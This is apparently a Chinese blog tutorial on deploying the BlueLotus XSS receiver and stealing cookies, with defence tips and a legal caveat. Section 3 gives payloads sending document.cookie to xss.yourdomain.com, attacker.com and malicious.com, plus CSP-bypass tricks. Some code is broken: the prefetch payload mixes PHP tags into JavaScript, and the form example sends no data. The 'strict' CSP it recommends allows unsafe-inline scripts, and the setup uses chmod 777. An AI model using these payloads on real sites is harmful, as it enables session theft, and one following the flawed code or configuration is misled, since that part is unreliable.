从零构建XSS接收平台：实战打Cookie与深度防御剖析
1. 为什么需要XSS接收平台
我第一次接触XSS漏洞时，最头疼的问题就是：怎么证明这个漏洞真的存在？怎么收集攻击效果？这就是XSS接收平台的用武之地。简单来说，它就像个"钓鱼邮箱"，专门用来接收XSS攻击吐出来的"战利品"——最常见的就是用户的Cookie。
你可能遇到过这种情况：在测试网站时发现一个疑似XSS的点，但弹个alert框只能证明漏洞存在，却拿不到实际危害的证据。这时候如果有个接收平台，就能把document.cookie自动回传到你的服务器，形成完整的攻击链证明。我在去年审计某电商平台时，就靠这个拿到了后台管理员会话，最终帮助企业修复了高危漏洞。
2. 搭建你的第一个XSS平台
2.1 环境准备
推荐使用Ubuntu 20.04作为基础系统，实测下来最稳定。你需要准备：
- 1核2G的云服务器（学生机就够用）
- 已备案的域名（国内环境必须）
- SSL证书（Let's Encrypt免费版足够）
# 基础依赖安装 sudo apt update sudo apt install -y git nginx mysql-server php-fpm php-mysql2.2 部署BlueLotus
蓝莲花是我最推荐的国产开源项目，GitHub上stars超过2k。它的优势在于：
- 自带多用户管理
- 支持HTTPS回传
- 有完整的日志分析功能
git clone https://github.com/firesunCN/BlueLotus_XSSReceiver cd BlueLotus_XSSReceiver chmod -R 777 assets/ uploads/ protected/runtime/数据库配置要注意：新建用户时建议限制host为localhost，避免暴露3306端口。我吃过亏，有一次服务器被爆破就是因为开了远程MySQL。
2.3 配置Nginx反向代理
这个环节最容易踩坑，分享我的配置模板：
server { listen 443 ssl; server_name xss.yourdomain.com; ssl_certificate /path/to/cert.pem; ssl_certificate_key /path/to/key.pem; root /var/www/BlueLotus_XSSReceiver; index index.php; location / { try_files $uri $uri/ /index.php?$args; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } }记得开防火墙：
sudo ufw allow 443/tcp sudo ufw enable3. 实战：如何获取用户Cookie
3.1 构造攻击载荷
平台搭好后，你会得到一个类似这样的测试地址：
https://xss.yourdomain.com/project/12345对应的攻击代码要这样写：
var img = new Image(); img.src = 'https://xss.yourdomain.com/record?data=' + encodeURIComponent(document.cookie);但实际场景中，这种写法太明显了。我常用的优化方案是：
- 使用Base64编码
- 伪装成图片请求
- 添加随机延迟
3.2 绕过常见防御措施
现代网站通常有这些防护：
- CSP策略
- 输入过滤
- HTTPOnly Cookie
针对这些限制，我有几个实战技巧：
案例1：当遇到CSP限制时，可以尝试：
<link rel="prefetch" href="//attacker.com?leak=<?=document.cookie?>">案例2：HTTPOnly Cookie虽然防读取，但可以通过自动提交表单间接利用：
var form = document.createElement('form'); form.action = 'https://malicious.com/steal'; form.method = 'POST'; document.body.appendChild(form); form.submit();4. 深度防御方案
4.1 服务端防护
除了常见的输入过滤，我要特别强调几个重点：
- 上下文感知编码：
- HTML正文用htmlspecialchars
- HTML属性用htmlentities
- JavaScript代码用json_encode
// 错误示范 echo "<div>" . $user_input . "</div>"; // 正确做法 echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES) . "</div>";- 严格的CSP策略： 我的生产环境配置供参考：
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline' cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self';
4.2 前端防护
React/Vue这些框架虽然有一定XSS防护，但配置不当反而更危险。比如Vue的v-html指令：
// 危险用法 <div v-html="userContent"></div> // 安全方案 <div>{{ userContent }}</div>推荐使用DOMPurify配合框架使用：
import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirty);5. 高级攻防对抗
去年我遇到过一个棘手的案例：某金融网站用了多重防御：
- 输入过滤了所有特殊字符
- CSP限制严格
- 关键操作需要短信验证
最终我是这样突破的：
- 利用SVG的onload事件绕过字符过滤
- 通过DNS预解析泄露数据（因为CSP不限制DNS）
- 结合CSRF完成最终攻击
防御方可以采取的应对措施：
- 监控异常的DNS查询
- 关键操作增加二次认证
- 定期审计所有用户输入点
6. 法律与道德边界
必须提醒的是：未经授权的测试可能涉嫌违法。我的工作流程是：
- 获取书面授权
- 限制测试范围
- 及时清理测试数据
有一次客户要求测试生产环境，我坚持要先签免责协议。结果真发现漏洞时，这份协议保护了双方权益。